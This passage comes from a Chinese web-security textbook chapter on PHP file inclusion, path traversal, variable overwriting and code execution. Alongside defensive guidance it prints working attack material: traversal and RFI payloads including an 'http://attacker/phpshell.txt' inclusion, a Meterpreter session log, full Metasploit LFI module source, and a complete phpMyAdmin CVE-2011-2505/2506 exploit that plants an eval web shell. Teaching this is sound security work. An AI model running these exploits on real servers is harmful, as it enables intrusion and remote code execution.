}}?>但这样并没有解决所有问题，国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制，可以不需要0字节而达到截断的目的。目录字符串，在Windows下256字节、Linux下4096字节时会达到最大值，最大值长度之后的字符将被丢弃。如何构造出这么长的目录呢？通过“./”的方式即可，比如：./././././././././././././abc或者/////////////////abc或者../1/abc/../1/abc/../1/abc除了include()等4个函数外，PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码，但能够读取敏感文件带来的后果也是比较严重的。fopen()fread()……文件包含漏洞能够读取敏感文件或者服务器端脚本的源代码，从而为攻击者实施进一步攻击奠定基础。文件包含漏洞读出了/etc/passwd的信息在上面的例子中可以看到，使用了“../../../”这样的方式来返回到上层目录中，这种方式又被称为“目录遍历”（Path Traversal）。常见的目录遍历漏洞，还可以通过不同的编码方式来绕过一些服务器端逻辑。 %2e%2e%2f等同于../%2e%2e/等同于../..%2f等同于../%2e%2e%5c等同于..\\%2e%2e\\等同于..\\..%5c等同于..\\%252e%252e%255c等同于..\\..%255c等同于..\\ and so on.某些Web容器支持的编码方式： ..%c0%af等同于../..%c1%9c等同于..\\比如CVE-2008-2938，就是一个Tomcat的目录遍历漏洞。如果context.xml或server.xml允许'al-lowLinking'和'URIencoding'为'UTF-8'，攻击者就可以以Web权限获得重要的系统文件内容。http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd目录遍历漏洞是一种跨越目录读取文件的方法，但当PHP配置了open_basedir时，将很好地保护服务器，使得这种攻击无效。open_basedir的作用是限制在某个特定目录下PHP能打开的文件，其作用与safe_mode是否开启无关。比如在测试环境下，当没有设置open_basedir时，文件包含漏洞可以访问任意文件。测试页面当设置了open_basedir时：; open_basedir, if set, limits all file operations to the defined directory; and below. This directive makes most sense if used in a per-directory; or per-virtualhost web server configuration file. This directive is; *NOT* affected by whether Safe Mode is turned On or Off.open_basedir = D:\\soft\\develop\\env\\sites\\www.a.com\\文件包含失败：测试页面错误提示：Warning: include() [function.include]: open_basedir restriction in effect.File(../../../../../../../../../../../../../../../../../x.txt) is not within theallowed path(s): (D:\\soft\\develop\\env\\sites\\www.a.com\\)in D:\\soft\\develop\\env\\sites\\www.a.com\\test.php on line 3需要注意的是，open_basedir的值是目录的前缀，因此假设设置如下：open_basedir = /home/app/aaa那么实际上，以下目录都是在允许范围内的。/home/app/aaa/home/app/aaabbb/home/app/aaa123如果要限定一个指定的目录，则需要在最后加上“/”。open_basedir = /home/app/aaa/在Windows下多个目录应当用分号隔开，在Linux下则用冒号隔开。要解决文件包含漏洞，应该尽量避免包含动态的变量，尤其是用户可以控制的变量。一种变通方式，则是使用枚举，比如：<?php$file = $_GET['file'];// Whitelisting possible valuesswitch ($file) { case 'main': case 'foo': case 'bar': include '/home/wwwrun/include/'.$file.'.php'; break; default: include '/home/wwwrun/include/main.php';}?>$file的值被枚举出来，也就避免了任意文件包含的风险。14.1.2 远程文件包含如果PHP的配置选项allow_url_include为ON的话，则include/require函数是可以加载远程文件的，这种漏洞被称为远程文件包含漏洞（Re-mote File Inclusion，简称RFI）。比如如下代码：<?phpif ($route == \"share\") { require_once $basePath . '/action/m_share.php';} elseif ($route == \"sharelink\") { require_once $basePath . '/action/m_sharelink.php';}?>在变量$basePath前没有设置任何障碍，因此攻击者可以构造类似如下的攻击URL。/?param=http://attacker/phpshell.txt?最终加载的代码实际上执行了：require_once 'http://attacker/phpshell.txt?/action/m_share.php';问号后面的代码被解释成URL的querys-tring，也是一种“截断”，这是在利用远程文件包含漏洞时的常见技巧。同样的，%00也可以用做截断符号。远程文件包含漏洞可以直接用来执行任意命令，比如在攻击者的服务器上存在如下文件：<?phpecho system(\"ver;\");?>包含远程文件后，获得命令执行：系统命令被执行14.1.3 本地文件包含的利用技巧本地文件包含漏洞，其实也是有机会执行PHP代码的，这取决于一些条件。远程文件包含漏洞之所以能够执行命令，就是因为攻击者能够自定义被包含的文件内容。因此本地文件包含漏洞想要执行命令，也需要找到一个攻击者能够控制内容的本地文件。经过不懈的研究，安全研究者总结出了以下几种常见的技巧，用于本地文件包含后执行PHP代码。（1）包含用户上传的文件。 （2）包含data://或php://input等伪协议。 （3）包含Session文件。 （4）包含日志文件，比如Web Server的ac-cess log。 （5）包含/proc/self/environ文件。 （6）包含上传的临时文件（RFC1867）。 （7）包含其他应用创建的文件，比如数据库文件、缓存文件、应用日志等，需要具体情况具体分析。包含用户上传的文件很好理解，这也是最简单的一种方法。用户上传的文件内容中如果包含了PHP代码，那么这些代码被include() 加载后将会执行。但包含用户上传文件能否攻击成功，取决于文件上传功能的设计，比如要求知道用户上传后文件所在的物理路径，有时这个路径很难猜到。在本书“文件上传漏洞”一章中给出了很多设计安全文件上传功能的建议。伪协议如php://input等需要服务器支持，同时要求allow_url_include设置为ON。在PHP5.2.0之后的版本中支持data：伪协议，可以很方便地执行代码，它同样要求allow_url_include为ON。http://www.example.com/index.php?file=data:text/plain,<?php phpinfo();?>%00包含Session文件的条件也较为苛刻，它需要攻击者能控制部分Session文件的内容。比如：x|s:19:\"<?php phpinfo(); ?>\"PHP默认生成的Session文件往往存放在/tmp目录下，比如：/tmp/sess_SESSIONID包含日志文件是一种比较通用的技巧。因为服务器一般都会往Web Server的access_log里记录客户端的请求信息，在error_log里记录出错请求。因此攻击者可以间接地将PHP代码写入到日志文件中，在文件包含时，只需要包含日志文件即可。但需要注意的是，如果网站访问量大的话，日志文件有可能会很大（比如一个日志文件有2GB），当包含一个这么大的文件时，PHP进程可能会僵死。但Web Server往往会滚动日志，或每天生成一个新的日志文件。因此在凌晨时包含日志文件，将提高攻击的成功性，因为此时的日志文件可能非常小。以Apache为例，一般的攻击步骤是，先通过读取httpd的配置文件httpd.conf，找到日志文件所在的目录。httpd.conf一般会存在Apache的安装目录下，在Redhat系列里默认安装的可能为/etc/httpd/conf/httpd.conf，而自定义安装的可能在/usr/local/apache/conf/httpd.conf为。但更多时候，也可能猜不到这个目录。常见的日志文件可能会存在以下地方：../../../../../../../../../../var/log/httpd/access_log../../../../../../../../../../var/log/httpd/error_log../apache/logs/error.log../apache/logs/access.log../../apache/logs/error.log../../apache/logs/access.log../../../apache/logs/error.log../../../apache/logs/access.log../../../../../../../../../../etc/httpd/logs/acces_log../../../../../../../../../../etc/httpd/logs/acces.log../../../../../../../../../../etc/httpd/logs/error_log../../../../../../../../../../etc/httpd/logs/error.log../../../../../../../../../../var/www/logs/access_log../../../../../../../../../../var/www/logs/access.log../../../../../../../../../../usr/local/apache/logs/access_log../../../../../../../../../../usr/local/apache/logs/access.log../../../../../../../../../../var/log/apache/access_log../../../../../../../../../../var/log/apache/access.log../../../../../../../../../../var/log/access_log../../../../../../../../../../var/www/logs/error_log../../../../../../../../../../var/www/logs/error.log../../../../../../../../../../usr/local/apache/logs/error_log../../../../../../../../../../usr/local/apache/logs/error.log../../../../../../../../../../var/log/apache/error_log../../../../../../../../../../var/log/apache/error.log../../../../../../../../../../var/log/access_log../../../../../../../../../../var/log/error_log/var/log/httpd/access_log/var/log/httpd/error_log../apache/logs/error.log../apache/logs/access.log../../apache/logs/error.log../../apache/logs/access.log../../../apache/logs/error.log../../../apache/logs/access.log/etc/httpd/logs/acces_log/etc/httpd/logs/acces.log/etc/httpd/logs/error_log/etc/httpd/logs/error.log/var/www/logs/access_log/var/www/logs/access.log/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log/var/log/apache/access_log/var/log/apache/access.log/var/log/access_log/var/www/logs/error_log/var/www/logs/error.log/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log/var/log/apache/error_log/var/log/apache/error.log/var/log/access_log/var/log/error_logMetasploit中包含了一个脚本自动化完成包含日志文件的攻击。msf exploit(handler) > use exploit/unix/webapp/php_lfimsf exploit(php_lfi) > set RHOST 127.0.0.1RHOST => 127.0.0.1msf exploit(php_lfi) > set RPORT 8181RPORT => 8181msf exploit(php_lfi) > set URI /index.php?foo=xxLFIxxURI => /index.php?foo=xxLFIxxmsf exploit(php_lfi) > set PAYLOAD php/meterpreter/bind_tcpPAYLOAD => php/meterpreter/bind_tcpmsf exploit(php_lfi) > exploit -z[*] Started bind handler[*] Trying generic exploits[*] Clean LFI injection[*] Sending stage (31612 bytes) to 127.0.0.1[*] Meterpreter session 1 opened (127.0.0.1:19412 -> 127.0.0.1:4444) at Tue May 24 14:47:29+0200 2011C[-] Exploit exception: Interrupt[*] Session 1 created in the background.msf exploit(php_lfi) > sessions -i 1[*] Starting interaction with 1...meterpreter > lsListing: /usr/home/test/cherokee/www=====================================Mode Size Type Last modified Name---- ---- ---- ------------- ----100644/rw-r--r-- 0 fil Tue May 10 11:09:39 +0200 2011 foo.php40755/rwxr-xr-x 512 dir Tue May 10 10:53:59 +0200 2011../Images100644/rw-r--r-- 1795 fil Tue May 10 10:19:23 +0200 2011 index.html100644/rw-r--r-- 37 fil Tue May 10 13:52:25 +0200 2011 index.phpmeterpreter > sysinfoOS : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb17 02:41:51 UTC 2011 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64Computer : redphantom.skynet.ctMeterpreter : php/phpmeterpreter > exit其代码如下：## Copyright (c) 2011 GhostHunter# All rights reserved.## Redistribution and use in source and binary forms, with or without# modification, are permitted provided that the following conditions# are met:# 1. Redistributions of source code must retain the above copyright# notice, this list of conditions and the following disclaimer.# 2. Redistributions in binary form must reproduce the above copyright# notice, this list of conditions and the following disclaimer in the# documentation and/or other materials provided with the distribution.# 3. Neither the name of copyright holders nor the names of its# contributors may be used to endorse or promote products derived# from this software without specific prior written permission.## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS# ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE# POSSIBILITY OF SUCH DAMAGE. require 'msf/core' require 'rex/proto/ntlm/message' require \"base64\" class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ' PHP LFI ', 'Version' => '1', 'Description' => 'This module attempts to perform a LFI attack against a PHPapplication', 'Author' => [ 'ghost' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # max header length for Apache, # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize 'Space' => 8190, # max url length for some old versions of apache according to # http://www.boutell.com/newfaq/misc/urllength.html #'Space' => 4000, 'DisableNops' => true, 'BadChars' => %q|'\"`|, # quotes are escaped by PHP's magic_quotes_gpc ina default install 'Compat' => { 'ConnectionType' => 'find', }, 'Keys' => ['php'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(80), OptString.new('UserAgent', [ true, \"The HTTP User-Agent sent in the request\", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), 'method' => 'POST', 'data' => '<?php '+payload.encoded+'?>', }, 100) cleanup() if not session_created?() print_status(\"LFI injection with %00 trick\") res = send_request_cgi({ 'agent' => datastore['UserAgent'], 'uri' => datastore['URI'].gsub(\"xxLFIxx\", \"php://input%00\"), 'method' => 'POST', 'data' => '<?php '+payload.encoded+'?>', }, 100) cleanup() end end def inject_log(logf,agent) res = send_request_cgi({ 'agent' => agent, 'uri' => datastore['URI'].gsub(\"xxLFIxx\",\"../../../../../../../../../../..\"+logf), 'method' => 'GET', }, 100) cleanup() return res end def exploit_loginjection nullbytepoisoning=false injectable=false print_status(\"Testing /etc/passwd\") res = inject_log(\"/etc/passwd\",datastore['UserAgent']) if res.code >= 200 and res.code <=299 and res.body=~/sbin\\/nologin/ print_status(\"log injection without null byte poisioning\") injectable=true else res = inject_log(\"/etc/passwd%00\",datastore['UserAgent']) if res.code >= 200 and res.code <=299 and res.body=~/sbin\\/nologin/ print_status(\"injection with null byte poisioning\") nullbytepoisoning=true injectable=true end end if not injectable return false end print_status(\"Injecting the webserver log files\") index=0 logs=datastore['LogFiles'].split(\":\") while not session_created?() and index < logs.length logf=logs[index] print_status('Trying to poison '+logf) if nullbytepoisoning logf=logf+\"%00\" end res = inject_log(logf,datastore['UserAgent']) if res.body=~ /#{Regexp.escape(datastore['UserAgent'])}/ print_status('Poisoning '+logf+' Via the UserAgent') res = inject_log(logf,'<?php '+payload.encoded+'?>') sleep(30) print_status(\"calling the shell\") res = inject_log(logf,datastore['UserAgent']) end index=index+1 end end def exploit fp=http_fingerprint() print_status(\"Trying generic exploits\") exploit_generic() if not session_created?() print_status(\"Trying OS based exploits\") if ( fp =~/unix/i ) print_status(\"Detected a Unix server\") #TODO /proc/self/environ injection exploit_loginjection() # TODO ssh logs injection # TODO mail.log maillog injection else print_status(\"Are they running Windows?!?\") end end end end如果httpd的配置文件和日志目录完全猜不到怎么办？如果PHP的错误回显没有关闭，那么构造一些异常也许能够暴露出Web目录所在位置。此外，还可以利用下面的方法。包含/proc/self/environ是一种更为通用的方法，因为它根本不需要猜测被包含文件的路径，同时用户也能控制它的内容。http://www.website.com/view.php?page=../../../../../proc/self/environ包含/proc/self/environ文件，可能看到如下内容：DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7acHTTP_HOST=www.website.comHTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwdHTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00PATH=/bin:/usr/binQUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2FenvironREDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 以上这些方法，都要求PHP能够包含这些文件，而这些文件往往都处于Web目录之外，如果PHP配置了open_basedir，则很可能会使得攻击失效。但PHP创建的上传临时文件，往往处于PHP允许访问的目录范围内。包含这个临时文件的方法，其理论意义大于实际意义。根据RFC1867，PHP处理上传文件的过程是这样的：PHP处理上传文件的过程PHP会为上传文件创建临时文件，其目录在php.ini的upload_tmp_dir中定义。但该值默认为空，此时在Linux下会使用/tmp目录，在Win-dows下会使用C:\\windows\\temp目录。该临时文件的文件名是随机的，攻击者必须准确猜测出该文件名才能成功利用漏洞。PHP在此处并没有使用安全的随机函数，因此使得暴力猜解文件名成为可能。在Windows下，仅有65535种不同的文件名。Gynvael Coldwind深入研究了这个课题，并发表了paper：PHP LFI to arbitratry code execu-tion via rfc1867 file upload temporary files，有兴趣的读者可以参考此文。\n14.2 变量覆盖漏洞14.2.1 全局变量覆盖变量如果未被初始化，且能被用户所控制，那么很可能会导致安全问题。而在PHP中，这种情况在register_globals为ON时尤其严重。在PHP 4.2.0之后的版本中，register_globals默认由ON变为了OFF。这在当时让很多程序员感到不适应，因为程序员习惯了滥用变量。PHP中使用变量并不需要初始化，因此register_globals=ON时，变量来源可能是各个不同的地方，比如页面的表单、Cookie等。这样极容易写出不安全的代码，比如下面这个例子：<?phpecho \"Register_globals: \".(int)ini_get(\"register_globals\").\"<br/>\";if ($auth){ echo \"private!\";}?>当register_globals = OFF时，这段代码并不会出问题。测试页面但是当register_globals = ON时，提交请求URL：http://www.a.com/test1.php?auth=1，变量$auth将自动得到赋值：从而导致发生安全问题。类似的，通过$GLOBALS获取的变量，也可能导致变量覆盖。假设有如下代码：<?phpecho \"Register_globals: \".(int)ini_get(\"register_globals\").\"<br/>\";if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});print $a;print $_GET[b];?>这是一段常见的禁用register_globals的代码：if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});变量$a未初始化，在register_globals = ON时，再尝试控制“$a”的值，会因为这段禁用代码而出错。提交：http://www.a.com/test1.php?a=1&b=2显示变量a未定义而当尝试注入“GLOBALS[a]”以覆盖全局变量时，则可以成功控制变量“$a”的值。提交：http://www.a.com/test1.php?GLOB-ALS[a]=1&b=2显示变量a的值这是因为unset()默认只会销毁局部变量，要销毁全局变量必须使用$GLOBALS。比如：<?phpfunction foo() { unset($GLOBALS['bar']);}$bar = \"something\";foo();?>而在register_globals = OFF时，则无法覆盖到全局变量。显示变量a未定义所以如果实现代码关闭register_globals，则一定要覆盖所有的superglobals，推荐使用下面的代码：<?php// Emulate register_globals offfunction unregister_GLOBALS(){ if (!ini_get('register_globals')) { return; } // Might want to change this perhaps to a nicer error if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) { die('GLOBALS overwrite attempt detected'); } // Variables that shouldn't be unset $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES'); $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); foreach ($input as $k => $v) { if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) { unset($GLOBALS[$k]); } }}unregister_GLOBALS();?>这在共享的PHP环境中（比如App Engine中）可能会比较有用。回到变量覆盖上来，即便变量经过了初始化，但在PHP中还是有很多方式可能导致变量覆盖。当用户能够控制变量来源时，将造成一些安全隐患，严重的将引起XSS、SQL注入等攻击，或者是代码执行。14.2.2 extract()变量覆盖extract()函数能将变量从数组导入当前的符号表，其函数定义如下：int extract ( array $var_array [, int $extract_type [, string $prefix ]] )其中，第二个参数指定函数将变量导入符号表时的行为，最常见的两个值是“EXTR_OVER-WRITE”和“EXTR_SKIP”。当值为“EXTR_OVERWRITE”时，在将变量导入符号表的过程中，如果变量名发生冲突，则覆盖已有变量；值为“EXTR_SKIP”则表示跳过不覆盖。若第二个参数未指定，则在默认情况下使用“EXTR_OVERWRITE”。看如下代码：<?php$auth = '0';extract($_GET);if ($auth == 1){ echo \"private!\";}else { echo \"public!\";}?>当extract()函数从用户可以控制的数组中导出变量时，可能发生变量覆盖。在这个例子里，ex-tract()从$_GET中导出变量，从而可以导致任意变量被覆盖。假设用户构造以下链接：http://www.a.com/test1.php?auth=1将改变变量$auth的值，绕过服务器端逻辑。一种较为安全的做法是确定register_globals= OFF后，在调用extract()时使用 EXTR_SKIP保证已有变量不会被覆盖。但extract()的来源如果能被用户控制，则仍然是一种非常糟糕的使用习惯。同时还要留意变量获取的顺序，在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。类似extract()，下面几种场景也会产生变量覆盖的问题。14.2.3 遍历初始化变量常见的一些以遍历的方式释放变量的代码，可能会导致变量覆盖。比如：$chs = '';if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);若提交参数chs，则可覆盖变量“$chs”的值。在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有的变量，从而导致一些不可控制的结果。14.2.4 import_request_variables变量覆盖bool import_request_variables ( string $types [, string $prefix ] )import_request_variables()将GET、POST、Cookie中的变量导入到全局，使用这个函数只需要简单地指定类型即可。其中第二个参数是为导入的变量添加的前缀，如果没有指定，则将覆盖全局变量。<?php$auth = '0';import_request_variables('G');if ($auth == 1){ echo \"private!\";}else { echo \"public!\";}?>以上代码中，import_request_variables('G')指定导入GET请求中的变量，从而导致变量覆盖问题。14.2.5 parse_str()变量覆盖void parse_str ( string $str [, array &$arr ] )parse_str()函数往往被用于解析URL的query string，但是当参数值能被用户控制时，很可能导致变量覆盖。类似下面的写法都是危险的：//var.php?var=new 变量覆盖$var = 'init';parse_str($_SERVER['QUERY_STRING']);print $var;如果指定了parse_str()的第二个参数，则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时，应该养成指定第二个参数的好习惯。与parse_str()类似的函数还有mb_parse_str()。还有一些变量覆盖的方法，难以一次列全，但有以下安全建议：首先，确保register_globals =OFF。若不能自定义php.ini，则应该在代码中控制。其次，熟悉可能造成变量覆盖的函数和方法，检查用户是否能控制变量的来源。最后，养成初始化变量的好习惯。\n14.3 代码执行漏洞PHP中的代码执行情况非常灵活，但究其原因仍然离不开两个关键条件：第一是用户能够控制的函数输入；第二是存在可以执行代码的危险函数。但PHP代码的执行过程可能是曲折的，有些问题很隐蔽，不易被发现，要找出这些问题，对安全工程师的经验有较高的要求。14.3.1 “危险函数”执行代码在前文中提到，文件包含漏洞是可以造成代码执行的。但在PHP中，能够执行代码的方式远不止文件包含漏洞一种，比如危险函数popen()、sys-tem()、passthru()、exec()等都可以直接执行系统命令。此外，eval()函数也可以执行PHP代码。还有一些比较特殊的情况，比如允许用户上传PHP代码，或者是应用写入到服务器的文件内容和文件类型可以由用户控制，都可能导致代码执行。下面通过几个真实案例，来帮助深入理解PHP中可能存在的代码执行漏洞。14.3.1.1 phpMyAdmin 3.4.3.1远程代码执行漏洞在phpMyAdmin版本3.3.10.2与3.4.3.1以下存在一个变量覆盖漏洞，漏洞编号为：CVE-2011-2505，漏洞代码存在于libraries/auth/swekey/swekey.auth.lib.php中。if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false){ parse_str($_SERVER['QUERY_STRING']); session_write_close(); session_id($session_to_unset); session_start(); $_SESSION = array(); session_write_close(); session_destroy(); exit;}这是一个典型的通过parse_str()覆盖变量的漏洞，但是这个函数的逻辑很短，到最后直接就exit了，原本做不了太多事情。但是注意到Session变量是可以保存在服务器端，并常驻内存的，因此通过覆盖$_SESSION变量将改变很多逻辑。原本程序逻辑执行到session_destroy() 将正常销毁Session，但是在此之前session_write_close()已经将Session保存下来，然后到session_id()处试图切换Session。这个漏洞导致的后果，就是所有从Session中取出的变量都将变得不再可信任，可能会导致很多XSS、SQL注入等问题，但我们直接看由CVE-2011-2506导致的静态代码注入——在setup/lib/ConfigGenerator.class.php 中： /** * Creates config file * * @return string */ public static function getConfigFile() { $cf = ConfigFile::getInstance(); $crlf = (isset($_SESSION['eol']) && $_SESSION['eol'] == 'win') ? \"\\r\\n\" : \"\\n\"; $c = $cf->getConfig(); // header $ret = '<?php' . $crlf . '/*' . $crlf . ' * Generated configuration file' . $crlf . ' * Generated by: phpMyAdmin ' . $GLOBALS['PMA_Config']->get('PMA_VERSION') . ' setup script' . $crlf . ' * Date: ' . date(DATE_RFC1123) . $crlf . ' */' . $crlf . $crlf; // servers if ($cf->getServerCount() > 0) { $ret .= \"/* Servers configuration */$crlf\\$i = 0;\" . $crlf . $crlf; foreach ($c['Servers'] as $id => $server) { $ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . \" [$id] */\" . $crlf . '$i++;' . $crlf; foreach ($server as $k => $v) { $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k); $ret .= \"\\$cfg['Servers'][\\$i]['$k'] = \" . (is_array($v) && self::_isZeroBasedArray($v) ? self::_exportZeroBasedArray($v, $crlf) : var_export($v, true)) . ';' . $crlf; } $ret .= $crlf; } $ret .= '/* End of servers configuration */' . $crlf . $crlf; } unset($c['Servers']); // other settings $persistKeys = $cf->getPersistKeysMap(); foreach ($c as $k => $v) { $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $v, $crlf); if (isset($persistKeys[$k])) { unset($persistKeys[$k]); } } // keep 1d array keys which are present in $persist_keys (config.values.php) foreach (array_keys($persistKeys) as $k) { if (strpos($k, '/') === false) { $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k); $ret .= self::_getVarExport($k, $cf->getDefault($k), $crlf); } } $ret .= '?>'; return $ret; }其中，此处试图在代码中添加注释，但其拼接的是一个变量：$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . \" [$id] */\" . $crlf需要注意的是，strtr()函数已经处理了变量$cf->getServerName($id)，防止该值中包含有*/，从而关闭注释符；然而，紧随其后的[$id]却未做任何处理，它实际上是数组变量 $c['Servers']的key。变量$c则是函数返回的结果：$c = $cf->get-Config();在libraries/config/ConfigFile.class.php中有getConfig()的实现：/** * Returns configuration array (full, multidimensional format) * * @return array */public function getConfig(){ $c = $_SESSION[$this->id]; foreach ($this->cfgUpdateReadMapping as $map_to => $map_from) { PMA_array_write($map_to, $c, PMA_array_read($map_from, $c)); PMA_array_remove($map_from, $c); } return $c;}最终发现$c是从Session中取得的，而我们通过前面的漏洞可以覆盖Session中的任意变量，从而控制变量$c，最终注入“*/”闭合注释符，将PHP代码插入到config/config.inc.php中并执行。此漏洞的利用条件是config目录存在并可写，而很多时候管理员可能会在完成初始化安装后，删除config目录。国内安全研究者wofeiwo为此漏洞写了一段POC：#!/usr/bin/env python# coding=utf-8# pma3 - phpMyAdmin3 remote code execute exploit# Author: wofeiwo<wofeiwo@80sec.com># Thx Superhei# Tested on: 3.1.1, 3.2.1, 3.4.3# CVE: CVE-2011-2505, CVE-2011-2506# Date: 2011-07-08# Have fun, DO *NOT* USE IT TO DO BAD THING.################################################# Requirements: 1. \"config\" directory must created&writeable in pma directory.# 2. session.auto_start = 1 in php.ini configuration.import os,sys,urllib2,redef usage(program): print \"PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote codeexecute exploit\" print \"Usage: %s <PMA_url>\" % program print \"Example: %s http://www.test.com/phpMyAdmin\" % program sys.exit(0)def main(args): try: if len(args) < 2: usage(args[0]) if args[1][-1] == \"/\": args[1] = args[1][:-1] print \"[+] Trying get form token&session_id..\" content = urllib2.urlopen(args[1]+\"/index.php\").read() r1 = re.findall(\"token=(\\w{32})\", content) r2 = re.findall(\"phpMyAdmin=(\\w{32,40})\", content) if not r1: r1 = re.findall(\"token\\\" value=\\\"(\\w{32})\\\"\", content) if not r2: r2 = re.findall(\"phpMyAdmin\\\" value=\\\"(\\w{32,40})\\\"\", content) if len(r1) < 1 or len(r2) < 1: print \"[-] Cannot find form token and session id...exit.\" sys.exit(-1) token = r1[0] sessionid = r2[0] print \"[+] Token: %s , SessionID: %s\" % (token, sessionid) print \"[+] Trying to insert payload in $_SESSION..\" uri = \"/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION [ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA\" url = args[1]+uri opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'phpMyAdmin=%s; pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;' % (sessionid, sessionid))) urllib2.install_opener(opener) urllib2.urlopen(url) print \"[+] Trying get webshell..\" postdata =\"phpMyAdmin=%s&tab_hash=&token=%s&check_page_refresh=&DefaultLang=en&Server Default=0&eol=unix&submit_save=Save\"% (sessionid, token) url = args[1]+\"/setup/config.php\" # print \"[+]Postdata: %s\" % postdata urllib2.urlopen(url, postdata) print \"[+] All done, pray for your lucky!\" url = args[1]+\"/config/config.inc.php\" opener.addheaders.append(('Code', 'phpinfo();')) urllib2.install_opener(opener) print \"[+] Trying connect shell: %s\" % url result = re.findall(\"System \\</td\\>\\<td class=\\\"v\\\"\\>(.*)\\</td\\>\\</tr\\>\",urllib2.urlopen(url).read()) if len(result) == 1: print \"[+] Lucky u! System info: %s\" % result[0] print \"[+] Shellcode is: eval(getenv('HTTP_CODE'));\" else: print \"[-] Cannot get webshell.\" except Exception, e: print eif __name__ == \"__main__\" : main(sys.argv)关键代码是：uri = \"/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION[ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA\"它将“/eval()/”注入到要覆盖的SESSION变量的key中。14.3.1.2 MyBB 1.4远程代码执行漏洞接下来看另外一个案例，这是一个间接控制eval()函数输入的例子。这是由安全研究者flyh4t发现的一个漏洞：MyBB 1.4 admin remote codeexecution vulnerability。首先，在MyBB的代码中存在 eval() 函数。//index.php，336行左右$plugins->run_hooks(\"index_end\");//出现了eval函数，注意参数eval(\"\\$index = \\\"\".$templates->get(\"index\").\"\\\";\");output_page($index);挖掘漏洞的过程，通常需要先找到危险函数，然后回溯函数的调用过程，最终看在整个调用的过程中用户是否有可能控制输入。可以看到eval()的输入来自于$templates->get(\"index\")，继续找到此函数的定义：//inc/class_templates.php，65行左右function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; // // DEVELOPMENT MODE // if($mybb->dev_mode == 1) { $template = $this->dev_get($title); if($template !== false) { $this->cache[$title] = $template; } } if(!isset($this->cache[$title])) { $query = $db->simple_select(\"templates\", \"template\", \"title='\".$db->escape_string($title).\"' AND sid IN 